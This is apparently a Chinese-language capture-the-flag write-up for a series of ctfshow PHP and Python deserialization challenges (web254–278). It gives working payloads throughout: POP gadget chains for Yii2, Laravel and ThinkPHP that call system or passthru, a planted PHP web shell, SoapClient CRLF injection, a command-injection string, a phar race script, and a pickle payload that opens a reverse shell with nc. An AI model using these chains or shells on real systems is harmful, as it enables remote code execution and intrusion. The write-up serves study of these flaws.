web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
下边有一段判断,会对传参的username和password与类中的值进行比较,比较相等后isVip的值为true,在执行第三个if语句,经过checkVip()函数,返回isVip的值(true),进入vipOneKeyGetFlag函数,isVip的值为ture输出flag 所以本题并不需要构造反序列化,只需要传参是username和password的值与源码中一样即可
?username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
与上题不同的点就在底下的user赋值上,赋值时会从cookie中获取user的值 这里是unserialize,而上题的事new ctfShowUser();所以只需要将cookie中user值改为new ctfShowUser();的内容即可,又因为只有$this->isVip是true才能是flag,所以反序列化的内容为
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
echo serialize($a);
将payload进行url编码传给cookie中的user即可
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
与上题不同的是这里有个username!=password的判断 构造代码
<?php
class ctfShowUser{
public $username='a';
public $isVip=true;
}
$a=new ctfShowUser();
echo serialize($a);
O:11:"ctfShowUser":2:{s:8:"username";s:1:"a";s:5:"isVip";b:1;}
url编码后传参得到flag
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
backDoor中有个eval函数,所以本题可以通过该函数进行命令执行读取flag 在源码中发现__destruct方法,反序列化释放时会调用该方法执行$this->class->getInfo(); ,所以我们只需要将$this->class 的值是backDoor类的实例化即可,再通过修改code的值,即可触发我们想执行的命令 构造代码
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
payload还是传入到cookie中username、password还是xxxxxx即可得到flag
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
!preg_match('/[oc]:\d+:/i ,把O:过滤了,可以利用str_replace函数把O:换成O:+;另外本题class用的是public所以要把private改为public 构造代码
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
$b=serialize($b);
$b=str_replace('O:', 'O:+',$b);
echo urlencode($b);
传参方式同上
web259(原生类SoapClient)
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
构造代码
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Sentiment^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
构造完成后传参给vip,访问flag.txt得到flag 直接参考y4师傅的文章吧,写的很详细(26条消息) 从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客 也可参考我在之前总结的文章https://shimo.im/docs/PpV9pDDppQvjqWw9/
web260???
直接给payload吧
?ctfshow=ctfshow_i_love_36D
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
由于本题中出现了__unserialize 函数,所以__wake 方法就不会被执行,__invoke() 中有eval函数,但当脚本尝试将对象调用为函数时才会触发,所以本题直接考虑通过__destruct 写马即可, 构造代码
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
者利用了877.php,因为877.php==877,可以绕过弱类型比较
web262(字符串逃逸)
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
看完源代码后通过str_replace可以猜测是字符串逃逸,但并没有看到反序列化的利用点,因此无法输出flag,随后发现了本题其实是有一个hint——message.php 访问后发现只有token的值为admin就可输出flag 先构造token=admin
<?php
class message{
public $token='admin';
}
echo serialize(new message);
O:7:"message":1:{s:5:"token";s:5:"admin";}
构造出的内容为";s:5:"token";s:5:"admin";} ,长度为27,所以我们需要27个fuck变为loveU来逃逸出后边的";s:5:"token";s:5:"admin";} payload:
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
传参后访问message.php即可得到flag
本题也可以通过传参序列化后的内容到cookie中的方式,解除flag,羽师傅的exp
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
在message.php中将base64编码后的内容传到cookie中即可
web263(session反序列化漏洞)
深入浅析PHP的session反序列化漏洞问题_php实例_脚本之家 (jb51.net) 师傅session反序列化讲的很详细,可以参考一下 访问www.zip得到源码,inc.php中ini_set(‘session.serialize_handler’, ‘php’);表明使用的是php引擎,所以可以推测本题是session反序列化 先判断一下session是否可控。如果不可控的话可能就要利用文件上传了,index.php搜索后发现: 第一次访问index.php后会产生session,如果limit<5即执行$_SESSION['limit']=base64_decode($_COOKIE['limit']); 将cookie的值传给seesion,即session可控,再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入: 存在file_put_contents 可以写入文件,文件名为username,内容为password 构造代码
<?php
class User{
public $username;
public $password;
public $status='a';
function __construct(){
$this->username = "1.php";
$this->password = '<?php system("cat f*");?>';}
}
$a=new User();
echo base64_encode('|'.serialize($a));
构造好后在index.php抓包传参给cookie的limit中,访问check.php(在访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了--destruct() 方法,进而达成了写shell的目的),最后访问log-1.php(加log-1是因为file_put_contents中加上了log-)即可
web264
本题跟262基本一样,只是将cookie改成了session,所以就不能将base64编码后的内容传到cookie中了,可以直接用262的payload
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
源码中有一段强类型比较,看到强类型比较第一点直接想到数组绕过,但这种形式不知道该如何传数组的值 看了师傅们的思路后,发现该题要用指针& 例:
class A{
public $name;
public $age;
}
$DMIND=new A();
$DMIND->name="dmind";
$DMIND->age=&$DMIND->name;
var_dump($DMIND)
输出:
object(A)
["name"]=>
&string(5) "dmind"
["age"]=>
&string(5) "dmind"
}
所以直接用&即可 构造代码
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
$a=serialize($a);
echo $a;
?>
payload:
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
cs会接受get传参的内容 当触发__destruct后会输出flag,但正则匹配ctfshow后执行报错处理就无法执行__destruct 正则后边没有i 所以是区分大小写的,而PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分;所以就可以用大小写进行绕过
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
构造代码
<?php
class CTFSHOW{}
echo(serialize(new ctfshow));
?>
POST传参得到flag
web267(Yii2反序列化漏洞)
参考feng师傅的Yii2的反序列化漏洞复现(27条消息) yii2框架 反序列化漏洞复现_feng的博客-CSDN博客_yii框架漏洞 login界面弱口令admin:admin登录 登陆后打开about界面发现url变为了?r=site/about ,查看源代码后又发现?view-source 所以尝试?r=site/about&view-source ,发现反序列化入口
直接用feng师傅复现中的脚本即可,这里system无回显,所以改用了passthru
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
直接传参得到flag
r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=
web268
同上只是把<、flag给禁了改成cat /fl* 即可
web269
同上
web270
用feng师傅复现中的第四条链即可
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271(laravel5.7反序列化)
feng师傅的复现文章 POC
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /fl*";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
用burp—POST对data传参得到flag
web272-273(laravel5.8反序列化)
还是feng师傅的文章 POC1
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /fl*";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
也可以用eval直接命令执行
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /fl*');exit()?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
POC2(本题无法使用)
<?php
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct(){
$this->pool=new ProxyAdapter();
$this->deferred=array(
'feng'=>new CacheItem()
);
}
}
}
namespace Symfony\Component\Cache{
final class CacheItem{
protected $poolHash="1";
protected $innerItem="dir";
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash="1";
private $setInnerItem="system";
}
}
namespace{
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
echo urlencode(serialize(new TagAwareAdapter()));
}
web274(Thinkphp5.1)
还还是feng师傅的复现文章 thinkphp的复现要比前边的lavarel5.7、Yii2难很多 POC
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
传参得到flag 也可以参考另一篇文章 POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
利用方法也是类似的
web275
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
检测传参的内容,必须有php或flag才能为true执行system,这里直接用;将system前边的rm闭合即可
GET: ?fn=;cat fl*;
POST: flag
web276(phar反序列化)
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
比上题多了$this->admin 的判断,所以需要通过反序列化传值,但没有反序列化入口,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化 生成phar文件
<?php
class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
条件竞争(环境原因并没有竞争出来)
import requests
import threading
import base64
url = 'http://5338e80f-deec-48dd-81e8-44731293cbd2.challenge.ctf.show/'
f = open('./phar.phar', 'rb')
data = f.read()
flag = False
def work1():
requests.post(url=url+"?fn=a", data=data)
def work2():
global flag
r = requests.post(url=url+"?fn=phar://phar.phar/", data="")
if "flag{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=work1)
b = threading.Thread(target=work2)
a.start()
b.start()
web277-278(python反序列化)
在注释中发现<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) --> ,看到pickle应该就需要进行python反序列化了 执行命令无回显,所以需要反弹shell
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4000 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
参考文章 Python 反序列化漏洞学习笔记 - 1ndex- - 博客园 (cnblogs.com) python 反序列化 ~ Misaki’s Blog (misakikata.github.io) 一篇文章带你理解漏洞之Python 反序列化漏洞
|